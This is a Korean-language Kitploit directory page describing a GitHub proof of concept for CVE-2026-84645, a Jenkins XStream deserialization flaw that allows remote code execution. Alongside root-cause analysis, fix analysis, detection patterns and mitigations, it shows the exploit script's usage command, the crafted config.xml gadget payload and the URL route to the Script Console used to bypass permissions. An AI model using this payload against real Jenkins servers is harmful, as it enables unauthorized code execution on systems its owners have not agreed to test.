Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/mhtsec/cve-2026-84645
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubmhtsec/cve-2026-84645

CVE-2026-84645

Jenkins PersistenceRoot 역직렬화 RCE (SECURITY-3972) — PoC 및 분석. Item/Configure 권한 필요; 주간 빌드 <= 2.579 / LTS <= 2.568.2에 영향.

저장소 보기
1일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-84645 — Jenkins PersistenceRoot 역직렬화 RCE (SECURITY-3972)

2026-09-02에 수정된 Jenkins 역직렬화 취약점에 대한 PoC입니다 (advisory). 단일 작업에 대해 Item/Configure 권한을 가진 낮은 권한의 계정이 이를 Jenkins OS 사용자로 임의 코드 실행으로 전환할 수 있습니다.

영향 범위Jenkins weekly ≤ 2.579, LTS ≤ 2.568.2
수정 버전weekly 2.580, LTS 2.568.3
선행 조건인증됨, 1개 이상의 작업에 대한 Item/Configure
영향Jenkins 서비스 계정으로 RCE
CVSS8.8 (High)

취약한 테스트 인스턴스에 대한 공인된 보안 연구용으로만 사용하십시오.

사용법

root@kitploit:~
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id

이 스크립트는 계정에 스크립트 권한이 없는지 확인하고(403 예상), 조작된 config.xml을 제출한 다음, 주입된 객체 그래프를 통해 공격자가 제어하는 ACL을 가진 Script Console로 라우팅합니다.

기술 분석

근본 원인

Jenkins XStream 스택(hudson.util.XStream2 / RobustReflectionConverter)의 오래된 두 가지 동작이 결합됩니다:

  1. PersistenceRoot 유형이 중첩된 필드 값으로 역직렬화될 수 있음. JEP-200은 어떤 클래스가 역직렬화될 수 있는지 제한하지만, 객체 그래프의 어디에 있는지는 제한하지 않습니다. PersistenceRoot 하위 유형으로 타입이 지정된(또는 할당 가능한) 모든 필드는 일반 객체처럼 언마샬링되었습니다. XStream은 Unsafe.allocateInstance(생성자 없음)를 통해 인스턴스화하므로, 공격자는 authorizationStrategy를 포함한 임의의 필드 값을 가진 두 번째 hudson.model.Hudson 싱글턴을 위조할 수 있었습니다.
  2. 일시적(transient) 필드도 언마샬링됨("XStream 1.1.3처럼 일시적 필드로 언마샬링" 호환성 동작). Stapler 요청 라우팅에 필요한 객체 참조(FingerprintAction.build, Run.project, AbstractItem.parent)는 일시적이므로, 주입된 객체는 HTTP를 통해 접근 가능해집니다 — advisory의 "이후 Stapler를 통해 HTTP 요청 처리"라는 표현.

가젯 체인

POST /job/<job>/config.xml(Item/Configure만 필요)은 작업의 <actions>에 다음을 주입합니다:

root@kitploit:~
<actions>
  <hudson.tasks.Fingerprinter_-FingerprintAction>
    <build class="hudson.model.FreeStyleBuild">        <!-- PersistenceRoot 중첩 (결함 1); 일시적 필드 (결함 2) -->
      <project class="hudson.model.FreeStyleProject">  <!-- Run.project: protected final transient -->
        <parent class="hudson.model.Hudson">            <!-- AbstractItem.parent: transient; 위조된 두 번째 Jenkins -->
          <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
        </parent>
        <name>...</name>
        <properties/>                                  <!-- Job.getOverrides()에서 NPE 방지 -->
      </project>
    </build>
    <record/>
  </hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>

그런 다음 Stapler는 요청을 위조된 그래프로 라우팅합니다:

URL 세그먼트확인 대상코드 경로
/job/<job>/fingerprints주입된 FingerprintActionurlName == "fingerprints" + Actionable.getDynamic()
/run위조된 FreeStyleBuildFingerprintAction.getRun()이 일시적 build를 읽음
/parent위조된 FreeStyleProjectRun.getParent()가 final transient project를 읽음
/parent위조된 hudson.model.HudsonAbstractItem.getParent()가 일시적 parent를 읽음
/scriptText위조된 인스턴스의 Script ConsoleJenkins.doScriptText() → _doScript(..., getACL())

권한 우회: doScriptText는 요청을 수신한 인스턴스에 대해 ADMINISTER를 확인합니다. 즉, 위조된 Hudson의 getACL()을 확인하며, 이는 자체 authorizationStrategy 필드에서 파생됩니다 — AuthorizationStrategy$Unsecured는 모든 것을 허용합니다. 실제 컨트롤러의 권한 부여 전략은 전혀 관여하지 않습니다. 역직렬화 중에는 생성자가 실행되지 않으므로 필드 초기화자가 적용되지 않습니다. 따라서 페이로드는 authorizationStrategy(및 properties)를 명시적으로 설정해야 합니다.

수정 분석 (2.580)

jenkins-2.579 → jenkins-2.580 diff:

  • RobustReflectionConverter.doUnmarshal은 이제 PersistenceRoot 하위 유형을 중첩된 필드로 언마샬링하는 것을 거부합니다(CriticalXStreamException: "PersistenceRoot 객체는 문서 루트이며 중첩된 필드 값으로 나타날 수 없습니다"). XStream reference= 역참조, 비영구적 resolves-to 리플레이서(Run$Replacer, User$Replacer, …), 단일 값 변환기 스칼라 참조의 세 가지 안전한 형태만 허용합니다.
  • 새로운 @XStreamNotDeserializable / @XStreamDeserializable 어노테이션과 TRANSIENT_FIELD_STRICT_MODE가 필드별 일시적 필드 언마샬링을 강화합니다.
  • Jenkins.readResolve()는 이제 두 번째 Jenkins 싱글턴 역직렬화를 거부하며 writeReplace() 리플레이서를 얻었습니다.
  • 회귀 테스트: test/src/test/java/jenkins/security/Security3972Test.java, Security3972QueueRestartTest.java.

참고 사항

  • 주입은 메모리 내(일시적)에서 이루어집니다: Jenkins를 재시작하면 지워지지만, 원할 때마다 다시 제출할 수 있습니다.
  • 탐지: 중첩된 Fingerprinter_-FingerprintAction / hudson.model.Hudson이 포함된 예상치 못한 POST /job/*/config.xml 페이로드 또는 /job/*/fingerprints/run/parent/parent/scriptText에 대한 요청.

완화 조치

  • weekly ≥ 2.580 / LTS ≥ 2.568.3으로 업그레이드하십시오.
  • 권한 부여 매트릭스에서 Item/Configure를 신뢰할 수 있는 관리자로 제한하십시오.
  • 위 패턴에 대한 액세스 로그를 감사하고, 의심스러운 인스턴스를 재시작하고 작업 config.xml 파일의 오염을 확인하십시오.

참조

  • https://www.jenkins.io/security/advisory/2026-09-02/#SECURITY-3972
  • https://nvd.nist.gov/vuln/detail/CVE-2026-84645
도구 다운로드